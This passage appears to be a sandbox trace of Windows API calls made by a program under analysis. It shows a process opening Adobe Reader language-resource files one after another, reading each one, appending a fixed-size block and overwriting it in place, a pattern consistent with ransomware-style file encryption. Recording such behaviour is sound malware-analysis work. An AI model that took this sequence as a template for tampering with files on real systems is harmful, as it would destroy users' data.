lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.448] ReleaseMutex (hMutex=0x128) returned 1 [0042.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut57.ths", lpUsedDefaultChar=0x0) returned 9 [0042.448] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.450] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.451] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc2c00 [0042.451] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.452] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc2c00 [0042.453] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.453] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.453] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.453] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.453] CloseHandle (hObject=0x1ac) returned 1 [0042.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin49.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin49.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.454] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.454] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa5400 [0042.454] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.454] ReleaseMutex (hMutex=0x128) returned 1 [0042.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin49.lex", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin49.lex", lpUsedDefaultChar=0x0) returned 9 [0042.454] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.456] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.457] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa4400 [0042.457] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.458] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa4400 [0042.459] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.459] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.459] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.459] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.459] CloseHandle (hObject=0x1ac) returned 1 [0042.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.461] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.461] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7fe1 [0042.461] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.461] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.461] ReleaseMutex (hMutex=0x128) returned 1 [0042.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.461] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.465] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6fe1 [0042.465] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.466] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6fe1 [0042.466] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.467] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.467] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.467] CloseHandle (hObject=0x1ac) returned 1 [0042.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.467] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.467] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2800 [0042.467] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.467] ReleaseMutex (hMutex=0x128) returned 1 [0042.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hrv.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hrv.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.468] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.471] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1800 [0042.471] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.473] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1800 [0042.473] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.474] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.474] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.474] CloseHandle (hObject=0x1ac) returned 1 [0042.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl26.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl26.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.474] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.474] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2efe4 [0042.474] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.474] ReleaseMutex (hMutex=0x128) returned 1 [0042.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl26.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl26.hsp", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="itl26.hsp", lpUsedDefaultChar=0x0) returned 9 [0042.475] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2dfe4 [0042.808] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.823] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2dfe4 [0042.824] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.825] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.825] CloseHandle (hObject=0x1ac) returned 1 [0042.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\litphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.833] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.833] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa58 [0042.833] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.834] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.834] ReleaseMutex (hMutex=0x128) returned 1 [0042.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="litphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="litphon.env", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="litphon.env", lpUsedDefaultChar=0x0) returned 11 [0042.835] ReadFile (in: hFile=0x1cc, lpBuffer=0x27200a8, nNumberOfBytesToRead=0xa58, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27200a8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa58, lpOverlapped=0x0) returned 1 [0042.870] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0042.871] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xfe0, lpOverlapped=0x0) returned 1 [0042.871] CloseHandle (hObject=0x1cc) returned 1 [0042.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3cc [0042.872] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.872] ReleaseMutex (hMutex=0x128) returned 1 [0042.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pol.fca", lpUsedDefaultChar=0x0) returned 7 [0042.872] ReadFile (in: hFile=0x1cc, lpBuffer=0x271c068, nNumberOfBytesToRead=0x3cc, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x271c068*, lpNumberOfBytesRead=0x2b0f2bc*=0x3cc, lpOverlapped=0x0) returned 1 [0042.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0042.877] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x954, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x954, lpOverlapped=0x0) returned 1 [0042.877] CloseHandle (hObject=0x1cc) returned 1 [0042.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7ff7 [0042.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] ReleaseMutex (hMutex=0x128) returned 1 [0042.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum32.clx", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rum32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.878] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.879] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6ff7 [0042.879] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.882] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6ff7 [0042.883] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.883] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0042.883] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.883] CloseHandle (hObject=0x1cc) returned 1 [0042.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 